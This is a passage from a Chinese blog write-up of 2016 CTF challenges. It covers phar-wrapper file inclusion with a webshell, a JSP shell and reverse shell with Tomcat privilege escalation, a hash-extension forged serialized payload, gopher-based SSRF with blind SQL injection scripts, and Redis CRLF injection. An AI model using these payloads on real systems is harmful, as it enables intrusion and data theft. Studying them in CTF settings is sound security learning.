然后看了下include,用file参数包含下自己,发现失败,然后问了下军爷,他说你把.php删掉试试,结果....

竟然终止了,看来他会自己把.php后缀加上,所以成了无限递归包含了,于是想想怎么把php传上去
在网上查了相关文章之后,发现phar伪协议可以满足这个要求
http://www.hackdig.com/09/hack-26779.htm
把php文件打包成zip,后缀改为jpg,上传上去,然后利用phar伪协议包含进来
我这里打包了两个文件,一个为phpinfo.php,一个为yijuhua.php

成功,于是直接访问webshell

在shell目录下有个swpu_wbe2_tips.txt,打开之后得到该题Flag,还有下题的提示

WEB200-3

题目信息

地址: http://web2.08067.me/
分值: 200
Flag: flag{You_get_the_root_--!}

解题过程

从上题得到的提示,看样子是要提权,有一个tomcat.08067.me的域名,问了一下出题人,tomcat和web2这台服务器是同一台服务器
翻了一下服务器上的文件,发现在icematcha这个用户的家目录下有个tomcat_restart.sh文件


访问了下是tomcat的默认页面,管理页面被改过无法访问,于是在这里想了一下是不是要利用tomcat去提权呢,搜了一下果然是这个思路
http://blog.csdn.net/jlvsjp/article/details/52776377
跟着这篇文章从头看了下,所有提权特征就差tomcat权限的用户了,这篇文章对整个提权漏洞的分析还是很透彻的
php的shell的权限为www-data,所以得把权限换成tomcat
啥都不说了,先找一下tomcat路径,扔一个jsp的马上去
tomcat的默认路径在/var/lib/tomcat6/,往/var/lib/tomcat6/webapps/ROOT/写一个jsp的马,然后反弹shell

然后把tomcat的提权exp丢上去,直接提权
提权过程需要path_to_catalina.out这个文件的绝对路径,该文件在/var/lib/tomcat6/logs/catalina.out

MISC100-2

题目信息

地址: http://misc.08067.me/misc3/misc.jpg
分值: 100
Flag: flag{kaSaI_fbnkjdksSFGHFkfjksabfdJNKLDWOIafsadf}

解题过程

拿到一个图片,然后直接丢010editor,发现尾部有数据


拿出来,然后base64_decode失败,base32_decode解开了

import base64

encoded = "OZRGW4L3OVVUG22TL53HEZDVPJ2HKY2DKZIVQVTVOZ5HKY3LOJ3HIWSEKVBFIR2ZKNVXMY3LOR3H2==="
data = base64.b32decode(encoded)
print data

可以拿到解开的数据vbkq{ukCkS_vrduztucCVQXVuvzuckrvtZDUBTGYSkvcktv}
然后看起来像是移位,前四位肯定是flag,然后去研究规律···
-16相当于v向前推16位,也就相当于向后推10位,所以可以看做+10
老实说这里规律我我一开始的以为两位+10,两位-10

ord('f') - ord('v') = -16 = 10
ord('l') - ord('b') = 10
ord('a') - ord('k') = -10
ord('g') - ord('q') = -10

解出来之后发现不对···然后懵逼了
不得已去问了下出题人,确认此题是不是有问题,,出题人表示题目没问题,并让我尝试奇偶变换,
然后不管怎么奇偶变化都解不出来flag,然后再问了一下(原谅我这么不要脸),让我把字母奇偶变换
瞬间明白

abcdefghigklmnopqrstuvwxyz
-+-+-+-+-+-+-+-+-+-+-+-+-+

于是写了个程序让他自己完成变换的过程

def checkdaxiaoxie(s):
    s = ord(s)
    if s >= 65 and s <=90: # >=A and <=Z
        return 1 # 大写
    elif s >= 97 and s <=122: # >=a and <=z
        return 0 # 小写
    else:
        return 2 # 符号

def jiajiajianjian(s):
    daxiaoxie = checkdaxiaoxie(s)
    temp = ord(s)
    if temp % 2 ==1:
        temp = temp - 10 # 奇数位
    else:
        temp = temp + 10 # 偶数位
    if daxiaoxie == 0: # 小写
        if temp > 122: # >z
            temp -=26
        elif temp < 97: #  90: # >Z
            temp -=26
        elif temp < 65: # 

解出来之后是flagqkaSaIUfbnkjdksSFGHFkfjksabfdJNKLDWOIafsadfs,然后把三个符号再换回去就得到flag了

WEB400

题目信息

地址: http://web4.08067.me/
分值: 400
Flag: flag{I_L0vE_xx1a0m4i}

解题过程

这题是个代码审计的题目,扫描发现有web.zip
下载下来之后即为整站的源代码
首先在common.php里。可以看到把提交过来的各类参数foreach成k,v
common.php

 $v){
        if(is_array($v)){
        die("hello,hacker!");
        }
        else{
            $k[0] !='_'?$$k = addslashes($v):$$k = "";
        }
    }
}
function mysql_conn()
{
    $conn=@mysql_connect('localhost','root','****') or die('could not connect'.mysql_error());
    mysql_query('use web');
    mysql_query("SET character_set_connection=utf8, character_set_results=utf8,character_set_client=utf8", $conn);
    return $conn;
}
function get_salt( $length = 16 ) { 
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; 
    $salt =''; 
    for ( $i = 0; $i < $length; $i++ ) 
    {  
        $salt .= $chars[ mt_rand(0, strlen($chars) - 1) ]; 
    } 
    return $salt;
} 
function display($arr)
{
    $a = '
            
              
' . $arr . '
'; return $a; } ?>

在foreach最后的赋值阶段,对value进行了addslashes,所以这里是没办法代入一些奇怪的东西的
但是这里会存在一个可能导致变量覆盖的问题
如果接下来哪个页面没有定义某个变量,但是调用到了,就会发生变量覆盖的问题
然后去找找哪里有未定义的变量,找了一圈,就发现只有riji.php里有这么一段可疑的代码
riji.php






日记系统











      
    
     
    
     
       
    
    
当前位置:首页>

个人日记

$o) { echo display($o['msg']); } ?>

假如$result['userid']没有东西,则$id就不会被定义,然后接下来选取文章的时候就可以进行注入了
要使$result['userid']取不到东西,就要$_SESSION['user']不存在,于是看了一下,$_SESSION['user']是在登录的时候定义的,但是整体代码没有什么地方进行unset,所以只要让$_SESSION['user']不存在就可以了。
然后跟着这个思路,再看看如何让$_SESSION['user']不存在,又看了一下,发现在api.php里有删除账号的操作,如果可以删除掉一个账户,而保持该账户的登录状态,
那么在riji.php里取$result['userid']的时候,就会取不到东西,这时候就可以自己传入一个id值,实现变量覆盖
api.php

name);//进入数据库的数据进行转义
        @mysql_conn();
        $sql = "select * from user where name='$username'";
        $result = @mysql_fetch_array(mysql_query($sql));
        mysql_close();
        if(!empty($result)){
            //利用 salt 验证是否为该用户
            if($this->check === md5($result['salt'] . $this->data . $username)){
                echo '(=-=)!!';
                if($result['role'] == 1){//检查是否为admin用户
                    return 1;
                }
                else{
                    return 0;
                }
            }
            else{
                return 0;
            }
        }
        else{
            return 0;
        }
    }

    function do_method(){
        if($this->check() === 1){
            if($this->method === 'del_msg'){
                $this->del_msg();
            }
            elseif($this->method === 'del_user'){
                $this->del_user();
            }
            else{
                exit();
            }
        }
    }

    function del_msg(){
        if($this->msgid)
        {
            $msg_id = intval($this->msgid);//防注入
            @mysql_conn();
            $sql1 = "DELETE FROM msg where id='$msg_id'";
            if(mysql_query($sql1)){
                echo('');
                exit();
            }
            else{
                echo('');
                exit();
            }
            mysql_close();
        }
        else{
            echo('');
            exit();
        }
    }

    function del_user(){
        if($this->userid){
            $user_id = intval($this->userid);//防注入
            if($user_id == 1){
                echo('');
                exit();
            }
            @mysql_conn();
            $sql2 = "DELETE FROM user where userid='$user_id'";
            if(mysql_query($sql2)){
                echo('');
                exit();
            }
            else{
                echo('');
                exit();
            }
            
            mysql_close();
        }
        else{
            echo('');
            exit();
        }
    }
}

$a = unserialize(base64_decode($api));
$a->do_method();
?>

从代码中可以看出,传入一个序列化的数据,然后进行反序列化之后进入check,于是要调用api.php,必须要知道admin用户的salt,data和username是自己传入的,所以是可以控制的
salt这个在登录的时候会设置在cookie里

alert('Password Worng?')");
        }
    }
    else
    {
        echo("");
    }
}
if(@$regi == 1){
    if(@$mibao && @$username && @$password)
    {
        mysql_conn();
        $sql1 = "select * from user where name='$username'";
        $result1 = @mysql_fetch_row(mysql_query($sql1));
        mysql_close();
        if (!empty($result1)){
            echo('');
        }
        else{
            $salt = get_salt();
            mysql_conn();
            $sql2 = "INSERT INTO user(`name`,`passwd`,`check`,`salt`) VALUES('$username',md5('$password'),'$mibao','$salt')";
            if(!mysql_query($sql2)){
                echo("");
            }
            else{
                echo("");
            }
            mysql_close();
        }
    }
    else
    {
        echo("");
    }
}

?>




日记系统











      
    
     
    
     
       


一开始我以为是要重置掉admin的密码,结果发现重置密码是要拿到admin的mibao的,但是mibao是无论如何都拿不到的。各种尝试都没办法
于是无奈,又求助于出题人(出题人是真心的大好人呐)
出题人给出了一点提示,hash扩展攻击
Bingo!
查阅了一下原理
http://blog.csdn.net/syh_486_007/article/details/51228628
然后,再找回密码的地方可以拿到salt在MD5之后的值


base64_decode之后为917cc87f88b8833632b012418a7211ad
在github上找到了相应的工具,自己生成出了需要的hash
https://github.com/iagox86/hash_extender

拿到了hash扩展攻击之后的数据,生成base64,同时记录下利用该数据的md5 8f4d7a58b13a34d34f8384595a3de5f7

然后登陆,登陆过程抓包,拿到自己账户的id

我自己的账户id为100,然后新开一个隐身窗口(为了防止cookie冲突)访问api,删除账户

Tzo1OiJhZG1pbiI6Njp7czo0OiJuYW1lIjtzOjU6ImFkbWluIjtzOjU6ImNoZWNrIjtzOjMyOiI4ZjRkN2E1OGIxM2EzNGQzNGY4Mzg0NTk1YTNkZTVmNyI7czo0OiJkYXRhIjtzOjQ4OiKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAiO3M6NjoibWV0aG9kIjtzOjg6ImRlbF91c2VyIjtzOjY6InVzZXJpZCI7czozOiIxMDAiO3M6NToibXNnaWQiO3M6MToiMSI7fQ==

然后拿着这个生成好的base64字符串调用接口删除用户


删除完成之后,访问riji.php,抓包,拿到PHPSESSID,直接丢sqlmap跑就行

WEB300

题目信息

地址: http://web5.08067.me/
分值: 300
Flag: Flag{It_iS_s0_ea3y_!!!!!!!!!_FUCK_!!!!!}

解题过程

输入自己网站么,先输入了一下自己的,发现是把请求的内容返回来了,于是猜测这里有SSRF


于是查了一下操作系统类型,CentOS 6.5

查一下IP 172.16.181.165

利用SSRF扫了一下内网,发现存在166这台主机

然后顺手一个admin,居然存在,然后又顺手一个login.php 居然又存在,hhhhh

form表单提交到wllmctf_login.php了,看样子是要登陆进去了
登录需要POST,查阅资料了解到可以用gopher协议提交POST的表单
payload

gopher%3A%2f%2f172.16.181.166%3A80%2f_POST%20%2fadmin%2fwllmctf_login.php%20HTTP%2f1.1%250d%250aHost%3A%20172.16.181.166%250d%250aUser-Agent%3A%20Mozilla%2f5.0%20%28Windows%20NT%206.1%3B%20WOW64%3B%20rv%3A49.0%29%20Gecko%2f20100101%20Firefox%2f49.0%250d%250aAccept%3A%20text%2fhtml%2Capplication%2fxhtml%2bxml%2Capplication%2fxml%3Bq%3D0.9%2C%2a%2f%2a%3Bq%3D0.8%250d%250aAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.8%2Cen-US%3Bq%3D0.5%2Cen%3Bq%3D0.3%250d%250aAccept-Encoding%3A%20gzip%2C%20deflate%250d%250aConnection%3A%20close%250d%250aUpgrade-Insecure-Requests%3A%201%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aContent-Length%3A%2036%250d%250a%250d%250ausername%3Dadmin'%20and%20'1'='1%26password%3D123456"

于是开始尝试,发现在username这里存在盲注

username=admin'and 1=1 提示 password error
username=admin'and 1=2 提示 error names

接下来跑注入就行了
一样,交给脚本去处理

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import hackhttp
hh = hackhttp.hackhttp()
def encode(string):
    return string.replace(" ","%20")

char = "abcdefghijklmnopqrstuvwxyz1234567890"
target = "http://web5.08067.me/index.php?url="
dbname = ""
for i in range(1,8):
    for j in char:
        inje = "admin' and mid(database(),%s,1)='%s'" % (i,j)
        payload = inje + "%2523"
        postdata = "username=" + payload + "%26" + "password=123"
        payload_len = 9 + len(inje) + 1 + 13
        postdata = encode(postdata)
        send = "gopher://172.16.181.166:80/_POST%20/admin/wllmctf_login.php%20HTTP/1.1%250d%250a"
        send += "Host:%20172.16.181.166%250d%250a"
        send += "Content-Type:%20application/x-www-form-urlencoded%250d%250a"
        send += "Content-Length:%20" + str(payload_len) + "%250d%250a"
        send += "%250d%250a"
        send += postdata
        url = target + send
        a,b,c,d,e = hh.http(url)
        if "password error" in c:
            dbname += j
            print i,dbname
            break

基础的pyaload也就是inje了,接下来猜库猜表猜内容
首先是获取数据库名长度,二分法,数据库名长度为7

admin' and length(database()) < 20  #  对   dbname < 20
admin' and length(database()) < 10  #  对   dbname < 10
admin' and length(database()) < 5   #  错   5 < dbname < 10
admin' and length(database()) < 7   #  错   7 < dbname < 10
admin' and length(database()) < 8   #  对   7 < dbname < 8
admin' and length(database()) = 7   #  对   dbname = 7

长度为7,然后查库名叫啥

admin' and mid(database(),1,1)='w'
admin' and mid(database(),2,1)='l'
admin' and mid(database(),3,1)='l'
admin' and mid(database(),4,1)='l'
admin' and mid(database(),5,1)='c'
admin' and mid(database(),6,1)='t'
admin' and mid(database(),7,1)='f'

数据库名字为wllmctf
然后查这个库有几个表

admin' and (select count(*) from information_schema.tables where table_schema='wllmctf')<10  # 对  表数量 < 10
admin' and (select count(*) from information_schema.tables where table_schema='wllmctf')<5   # 对  表数量 < 5
admin' and (select count(*) from information_schema.tables where table_schema='wllmctf')<3   # 对  表数量 < 3
admin' and (select count(*) from information_schema.tables where table_schema='wllmctf')<2   # 对  表数量 < 2
admin' and (select count(*) from information_schema.tables where table_schema='wllmctf')<1   # 错  1 < 表数量 < 2
admin' and (select count(*) from information_schema.tables where table_schema='wllmctf')=1   # 对  表数量 = 1

只有一个表,有意思,查这个表名字长度

admin' and length((select table_name from information_schema.tables where table_schema='wllmctf' limit 0,1))<20  #  对   长度 < 20
admin' and length((select table_name from information_schema.tables where table_schema='wllmctf' limit 0,1))<10  #  对   长度 < 10
admin' and length((select table_name from information_schema.tables where table_schema='wllmctf' limit 0,1))<5   #  对   长度 < 5
admin' and length((select table_name from information_schema.tables where table_schema='wllmctf' limit 0,1))<3   #  错   3 < 长度 < 5
admin' and length((select table_name from information_schema.tables where table_schema='wllmctf' limit 0,1))=4   #  对   长度 = 4 

表名长度为4,查表名叫啥

admin' and mid((select table_name from information_schema.tables where table_schema='wllmctf' limit 0,1),1,1)='s'
admin' and mid((select table_name from information_schema.tables where table_schema='wllmctf' limit 0,1),2,1)='s'
admin' and mid((select table_name from information_schema.tables where table_schema='wllmctf' limit 0,1),3,1)='r'
admin' and mid((select table_name from information_schema.tables where table_schema='wllmctf' limit 0,1),4,1)='f'

表名ssrf,果然有意思
表里有几个字段

admin' and (select count(column_name) from information_schema.columns where table_schema='wllmctf' and table_name='ssrf')<10  #  对  字段数 < 10
admin' and (select count(column_name) from information_schema.columns where table_schema='wllmctf' and table_name='ssrf')<5   #  对  字段数 < 5 
admin' and (select count(column_name) from information_schema.columns where table_schema='wllmctf' and table_name='ssrf')<3   #  对  字段数 < 3
admin' and (select count(column_name) from information_schema.columns where table_schema='wllmctf' and table_name='ssrf')<2   #  错  2 < 字段数 < 3
admin' and (select count(column_name) from information_schema.columns where table_schema='wllmctf' and table_name='ssrf')=2   #  对  字段数 = 2

2个字段,查询第一个字段名长度

admin' and (select length(column_name) from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1)<10  #  对  长度 < 10
admin' and (select length(column_name) from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1)<5   #  错  5 < 长度 < 10
admin' and (select length(column_name) from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1)<7   #  错  7 < 长度 < 10
admin' and (select length(column_name) from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1)<8   #  错  8 < 长度 < 10
admin' and (select length(column_name) from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1)<9   #  对  8 < 长度 < 9
admin' and (select length(column_name) from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1)=8   #  对  长度 = 8

第一个字段名长度为8,估计为username,下个估计是password,
查询第二个字段名长度

admin' and (select length(column_name) from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 1,1)=8  #  长度 = 8

也是8
查第一个字段名

admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1),1,1)='u'
admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1),2,1)='s'
admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1),3,1)='e'
admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1),4,1)='r'
admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1),5,1)='n'
admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1),6,1)='a'
admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1),7,1)='m'
admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1),8,1)='e'

第一个字段名是username,然后查第二个

admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 1,1),1,1)='p'
admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 1,1),2,1)='a'
admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 1,1),3,1)='s'
admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 1,1),4,1)='s'
admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 1,1),5,1)='w'
admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 1,1),6,1)='o'
admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 1,1),7,1)='r'
admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 1,1),8,1)='d'

第二个字段名为passowrd,现在需要的信息齐了
数据库名wllmctf
表名ssrf
字段1名username
字段2名password
数据开跑
账号长度跑出来为5,跑账号

admin' and mid((select username from wllmctf.ssrf),1,1)='a'
admin' and mid((select username from wllmctf.ssrf),2,1)='d'
admin' and mid((select username from wllmctf.ssrf),3,1)='m'
admin' and mid((select username from wllmctf.ssrf),4,1)='i'
admin' and mid((select username from wllmctf.ssrf),5,1)='n'

账号admin,密码长度跑出来为12,开始跑密码

admin' and mid((select password from wllmctf.ssrf),1,1)='x'
admin' and mid((select password from wllmctf.ssrf),2,1)='i'
admin' and mid((select password from wllmctf.ssrf),3,1)='a'
admin' and mid((select password from wllmctf.ssrf),4,1)='o'
admin' and mid((select password from wllmctf.ssrf),5,1)='z'
admin' and mid((select password from wllmctf.ssrf),6,1)='h'
admin' and mid((select password from wllmctf.ssrf),7,1)='a'
admin' and mid((select password from wllmctf.ssrf),8,1)='n'
admin' and mid((select password from wllmctf.ssrf),9,1)='g'
admin' and mid((select password from wllmctf.ssrf),10,1)='1'
admin' and mid((select password from wllmctf.ssrf),11,1)='2'
admin' and mid((select password from wllmctf.ssrf),12,1)='3'

密码xiaozhang123
登录吧~

WEB200-4

题目信息

地址: http://web7.08067.me/web7
分值: 200
Flag: flag{this_FUN_XXoo_ABC_UDAFBFnsasfg}

解题过程

看起来又像是一个SSRF,妈蛋!
老样子,想写上自己的服务器,发现请求的UA头是urllib2.6


然后找了一下相关漏洞,发现存在HTTP头注入,然后在admin页面随便提交一个发现提示fast fast fast....
更快?想想,什么能更快,然后灵光一闪,缓存啊,然后想想什么能做缓存,redis和memcached,猜测是redis,于是访问了下本地6379端口,果然开放
payload

http://127.0.0.1%0d%0adbsize%0d%0a:6379/foo

如果可以访问到的话则是Header is empty,访问不到的话则是什么都不显示
于是开始构造HTTP头注入,一开始是以为要写公钥,但是又想到写进去也访问不了啊,于是思(xun)索(wen)了(ti)下(shi)
是要更新redis里的admin的值,服务端那边会以一定线程去更新,如果我更新的速度比他快,那就可以更新成功,然后就可以login进去
好一个线程竞争
写程序提交更新吧

import hackhttp
hh = hackhttp.hackhttp()

url = "http://web7.08067.me/web7/input"
raw = '''POST /web7/input HTTP/1.1
Host: web7.08067.me
Content-Length: 68
Cache-Control: max-age=0
Origin: http://web7.08067.me
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
DNT: 1
Referer: http://web7.08067.me/web7/input/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Connection: close

value=http://127.0.0.1%0d%0aset%20admin%20lineline%0d%0a:6379/foo'''
while True:
    a,b,c,d,e = hh.http(url,raw=raw)
    print a

登录这里也需要有一个高速访问的状态,我这里直接用Burp去访问了
所以就是先启动更新脚本,然后启动Burp,观察Burp的length,不同的那个即为登陆成功状态
我这里怕更新不上,把更新脚本运行的多份,每个都是多线程的,不怕更新不上去


讲道理,这么给自己服务器找DDoS真的好么- -!

REVERSE300

题目信息

地址: http://misc.08067.me/CM300/
分值: 300
Flag: flag{sA7_Tr03_I'm_Sb!|SwP0}

解题过程

因为本人水平有限,所以此题最终并没有解出来,此处摘抄了官方的解题过程
官方链接:http://bobao.360.cn/ctf/detail/173.html
CM300分为两个部分第一个为 key 和第二个部分 flag
Key输入进行md5加密。找到常量186, 23, 99, 168, 254, 185, 21, 172, 61, 195, 239, 219, 52, 229, 129, 55转为16进制。再去解md5就OK。

ba1763a8feb915ac3dc3efdb34e58137 = md5('SwP0')
void Encode1(unsigned char *decrypt, unsigned char *Flag) {
    for ( int i = 0; i < 16; i++) {
        Flag[i] ^= decrypt[i];
        if (i % 2 == 0 && i < 9)
        Flag[i] -= 40;
        if (i % 2 != 0 && i < 9)
        Flag[i] += 1;
        if (i>=9) {
            if (i < 12) {
                Flag[i] -= 50;
            } else {
                Flag[i] -= 9;
            }
        }
    }
}

void Encode2(unsigned char *decrypt, unsigned char * Flag) {
    for (int i = 0; i < 16; i++) {
        Flag[i] ^= 29;
        if (i%2 != 0) {
            Swap(&Flag[i-1],&Flag[i]);
        }
    }
    Encode1(decrypt, Flag);
}

void Swap(unsigned char *p1, unsigned char *p2) {
    char temp;
    temp = *p1;
    *p1 = *p2;
    *p2 = temp;
}


int Decode(unsigned char * Flag) {
    int i = Flag[0] - 199 + Flag[1] - 171 + Flag[2] - 93 + Flag[3] - 153 + Flag[4] - 6 + Flag[5] - 38 + Flag[6] - 127 + Flag[7] - 76 + Flag[8] - 79 + Flag[9] - 177 + Flag[10] - 67 + Flag[11] - 29 + Flag[12] - 122 + Flag[13] - 144 + Flag[14] - 135 + Flag[15] - 230 - 15;
    return i;
}

总觉得最后应该多点废话的总结

老实说,这次CTF算起来并不能是一份满意的答卷,因为在很多关键的思路点,各位出题人一步一步的引导,才让我能够做出来绝大部分题目,其中Web400的哥们陪我撸到5点,真心感动
也是第一次知道反序列化wakeup可以绕过,第一次知道还有hash扩展攻击,第一次知道gopher可以发POST包,第一次知道redis无差别接收数据,第一次做代码审计发现变量覆盖
Misc的哥们第一次出的NTFS流我发现有问题,反馈之后很快的处理,完事还专门通知我题目更新了~
有朋友告诉我WriteUp写这么详细没什么卵用啊,浪费时间,随便写写赚个流量就OK了嘛,
But我不这么认为,当初开博客的初衷就是写给自己看的东西,以防自己以后踩坑
写的过程我尽量照顾到水平有限的看官,用我觉得最能通俗易懂的语言,描述整个解题的过程及思路
相关的资料我这里尽量都给出链接,工具给出步骤截图
写到这里,这份WP已经4W字了,自己看到也是吓了一跳
能在CTF中认识到各种新鲜的玩法,有趣的漏洞,牛逼的思路,本身就已经赚了
最后,总是要感谢一下嘛~
感谢主办方西南石油大学,题目十分精彩
感谢各位熬夜值守出题人,我也参与过整个CTF的从出题到上线,到部署,值守,统计,到线下接待,环境部署,疑难解答,深知这份工作之艰辛
通宵几天很正常,几乎是用生命在战斗
十分感谢!!!
嗯,可以结束了
LinE Writing with the 2016-10-30 01:30

其他说明

如需转载烦请注明出处
来自于LinE's Blog
From: http://blog.l1n3.net
谢谢~~

分类: WriteUp 标签:
  1. 2016年12月12日08:04 | #1

    今天真冷,哈哈!

  2. Mochazz
    2017年11月4日17:14 | #2

    写的真的很详细,学到不少

  3. 1
    2017年11月25日11:44 | #3

    Thanks!